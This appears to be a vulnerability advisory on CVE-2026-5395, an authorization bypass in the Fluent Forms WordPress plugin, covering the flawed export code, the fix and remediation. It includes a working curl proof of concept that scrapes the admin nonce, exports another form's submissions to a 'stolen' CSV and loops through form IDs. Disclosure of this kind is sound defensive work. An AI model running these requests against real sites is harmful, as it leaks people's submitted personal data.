CVE-2026-5395: Fluent Forms <= 6.2.0 IDOR Exposes Form Entries (CVSS 8.2)
Table of Contents
CVE-2026-5395 is a CVSS 8.2 High severity Authorization Bypass vulnerability in the Fluent Forms WordPress plugin. An authenticated attacker with Fluent Forms entries viewer access can bypass per-form access restrictions and export submissions from any form on the site — including forms they are not authorized to view.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Fluent Forms |
| Plugin Slug | fluentform |
| CVE ID | CVE-2026-5395 |
| CVSS Score | 8.2 (High) |
| Vulnerability Type | Insecure Direct Object Reference (IDOR) / Authorization Bypass |
| Affected Versions | <= 6.2.0 |
| Patched Version | 6.2.1 |
| Published | May 13, 2026 |
| Researcher | Sander Horsman - Conda Security |
| Wordfence Advisory | Link |
Description
Fluent Forms supports per-form access control. An administrator can grant a user access to view entries for specific forms only, not all forms on the site. This feature is designed to let different team members manage different forms in isolation.
In versions up to and including 6.2.0, this per-form access control was not enforced in the entry export function. The exportEntries() function in TransferService.php did not verify that the requesting user had permission to access the specific form’s entries. Any user with the general fluentform_entries_viewer capability could export entries from any form — including forms they were explicitly restricted from accessing.
The vulnerability is an Insecure Direct Object Reference (IDOR). The attacker controls the form_id parameter. Without a form-level authorization check, they can substitute any form ID and receive the corresponding submissions.
A second issue in the same code path allowed the list of queryable database tables to be extended via a WordPress filter hook. By default only fluentform_submissions was in the list, but a malicious plugin could add additional tables using the fluentform/export_allowed_tables filter. The patch removes this filter and hardcodes the allowed tables.
Technical Analysis
How Fluent Forms Registers the Export AJAX Action
The entry export endpoint is a standard WordPress admin AJAX action. In app/Hooks/Ajax.php, the hook is registered like this in version 6.2.0:
$app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
Acl::verify('fluentform_entries_viewer');
(new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
});
The Acl::verify('fluentform_entries_viewer') call checks whether the current user has the general entries-viewer capability. It does NOT receive a $formId argument.
When no form ID is passed to Acl::verify(), the underlying Acl::hasPermission() function skips the FormManagerService::hasFormPermission() check entirely. Per-form access restrictions are never evaluated:
public static function hasPermission($permissions, $formId = false)
{
if ($formId && !FormManagerService::hasFormPermission($formId)) {
return false; // This check is skipped when $formId is false/null
}
// ...general capability check continues
}
The Vulnerable exportEntries() Function
In app/Services/Transfer/TransferService.php (line 141–147), the vulnerable code reads the form_id from user input with no authorization check:
public static function exportEntries($args)
{
if (!defined('FLUENTFORM_EXPORTING_ENTRIES')) {
define('FLUENTFORM_EXPORTING_ENTRIES', true);
}
$formId = (int)Arr::get($args, 'form_id'); // user-controlled, no form-level auth check
$tableName = Arr::get($args, 'table'); // user-controlled table parameter
// ...
}
Any form_id the attacker provides is cast to an integer and accepted. There is no call to Acl::verifyFormId() or Acl::verify('fluentform_entries_viewer', $formId) inside exportEntries().
The table Parameter and Filterable Allowlist
When a table parameter is present, getSubmissions() queries that table directly instead of using the Submission model:
private static function getSubmissions($args)
{
$tableName = Arr::get($args, 'table');
if ($tableName) {
$allowedTables = apply_filters('fluentform/export_allowed_tables', [
'fluentform_submissions',
]);
if (!in_array($tableName, $allowedTables, true)) {
wp_send_json(['message' => 'Invalid table name for export.'], 422);
}
$query = wpFluent()->table($tableName)
->where('form_id', (int) Arr::get($args, 'form_id'))
// ...
} else {
$query = (new Submission)->customQuery($args);
}
}
Two problems here:
- The table name is wrapped in
apply_filters(). Any plugin or code can add tables to this list. A malicious plugin could calladd_filter('fluentform/export_allowed_tables', fn($t) => array_merge($t, ['wp_users']))to add the users table. - Even within the
fluentform_submissionstable path, the missing form-level authorization inexportEntries()means an attacker can query submissions from any form.
Execution Path Summary
POST /wp-admin/admin-ajax.php
action=fluentform-form-entries-export
form_id=<any_form_id> ← attacker-controlled
fluent_forms_admin_nonce=<nonce>
wp_ajax_fluentform-form-entries-export
└── Acl::verify('fluentform_entries_viewer') ← no $formId, per-form check skipped
└── Transfer()->exportEntries()
└── TransferService::exportEntries($args)
└── $formId = (int)Arr::get($args, 'form_id') ← no auth check
└── $tableName = Arr::get($args, 'table')
└── getSubmissions($args) ← returns entries from attacker-specified form
Why the Nonce Does Not Prevent This Attack
Acl::verify() calls verifyNonce() first. The nonce (fluent_forms_admin_nonce) is embedded in every Fluent Forms admin page via wp_localize_script. Any user with any Fluent Forms access can retrieve this nonce from the admin page’s JavaScript variables. The nonce proves the request originated from the admin UI, not that the user is authorized for the specific form.
Proof of Concept
Disclaimer: This PoC is provided for educational purposes only. Test only on systems you own or have explicit written authorization to test.
Prerequisites:
- WordPress site running Fluent Forms <= 6.2.0
- Attacker has a WordPress account with
fluentform_entries_viewercapability granted (access to Form #1 only) - Target: Form #2 (attacker is NOT authorized to view its entries)
Step 1 — Authenticate and get session cookie:
curl -s -c cookies.txt -b cookies.txt \
"https://target.com/wp-login.php" \
--data "log=subscriber_user&pwd=subscriber_pass&rememberme=forever&wp-submit=Log+In&testcookie=1" \
-e "https://target.com/wp-login.php"
Step 2 — Retrieve the Fluent Forms admin nonce:
NONCE=$(curl -s -b cookies.txt \
"https://target.com/wp-admin/admin.php?page=fluent_forms" \
| grep -o '"fluent_forms_admin_nonce":"[^"]*"' \
| cut -d'"' -f4)
echo "Nonce: $NONCE"
Step 3 — Export entries from an unauthorized form (form_id=2):
curl -s -b cookies.txt \
"https://target.com/wp-admin/admin-ajax.php" \
--data "action=fluentform-form-entries-export&form_id=2&format=csv&fluent_forms_admin_nonce=${NONCE}" \
-o stolen_entries_form2.csv
echo "Exported rows: $(wc -l < stolen_entries_form2.csv)"
Expected result: The server responds with a CSV file containing all submissions from Form #2, even though the attacker only has explicit access to Form #1.
Step 4 — Enumerate other forms:
for FORM_ID in $(seq 1 20); do
ROW_COUNT=$(curl -s -b cookies.txt \
"https://target.com/wp-admin/admin-ajax.php" \
--data "action=fluentform-form-entries-export&form_id=${FORM_ID}&format=csv&fluent_forms_admin_nonce=${NONCE}" \
| wc -l)
echo "Form $FORM_ID: $ROW_COUNT rows"
done
Patch Analysis
The fix in version 6.2.1 adds two authorization calls at the top of exportEntries() in app/Services/Transfer/TransferService.php:
- $formId = (int)Arr::get($args, 'form_id');
+
+ $formId = Acl::verifyFormId(Arr::get($args, 'form_id'));
+ Acl::verify('fluentform_entries_viewer', $formId);
+
Acl::verifyFormId() validates that the form_id is a legitimate integer and exists. Acl::verify('fluentform_entries_viewer', $formId) passes the form ID to the permission check. This triggers FormManagerService::hasFormPermission($formId), which verifies that the current user’s allowed form list includes the requested form.
The second change removes the filterable allowlist for export tables:
- $allowedTables = apply_filters('fluentform/export_allowed_tables', [
+ $allowedTables = [
'fluentform_submissions',
- ]);
+ 'fluentform_draft_submissions',
+ ];
The hardcoded list also adds fluentform_draft_submissions as a legitimate table for draft submission exports, while removing the filter hook that allowed external code to inject arbitrary table names.
The AJAX hook in Ajax.php also gets updated to validate and normalize the form ID before passing it into the handler:
$app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
- Acl::verify('fluentform_entries_viewer');
+ $formId = Acl::verifyFormId($app->request->get('form_id'));
+
+ Acl::verify('fluentform_entries_viewer', $formId);
(new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
});
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence advisory published |
| May 13, 2026 | Version 6.2.1 released with fix |
| May 14, 2026 | This post published |
Remediation
Update Fluent Forms to version 6.2.1 or later. You can update from:
- WordPress admin: Plugins → Installed Plugins → Fluent Forms → Update
- WP-CLI:
wp plugin update fluentform - Direct download: wordpress.org/plugins/fluentform/
After updating, verify you are running at least version 6.2.1 from Plugins → Installed Plugins.
References
- Wordfence Advisory — CVE-2026-5395
- CVE-2026-5395 on cve.org
- Patch changeset on plugins.trac.wordpress.org
- Fluent Forms on wordpress.org
Frequently Asked Questions
What is CVE-2026-5395?
CVE-2026-5395 is a CVSS 8.2 High severity Authorization Bypass (IDOR) vulnerability in the Fluent Forms WordPress plugin. Authenticated users with Fluent Forms entries viewer access can export submissions from any form, even forms they are not authorized to access.
Which versions of Fluent Forms are affected by CVE-2026-5395?
All versions up to and including 6.2.0 are affected. Version 6.2.1 contains the fix.
What can an attacker do with CVE-2026-5395?
An attacker can export submission data from any Fluent Forms form on the site, bypassing per-form access restrictions. This exposes sensitive data like contact details, survey responses, and other user-submitted information.
Does an attacker need to be logged in to exploit CVE-2026-5395?
Yes. The attacker must have a WordPress account with Fluent Forms entries viewer access. A site administrator must have granted this capability to the attacker's account.
How do I fix CVE-2026-5395 in Fluent Forms?
Update Fluent Forms to version 6.2.1 or later from the WordPress admin dashboard or wordpress.org.
Has Fluent Forms been patched for CVE-2026-5395?
Yes. Version 6.2.1 was released on May 13, 2026 and resolves this vulnerability by adding proper form-level authorization checks to the entry export function.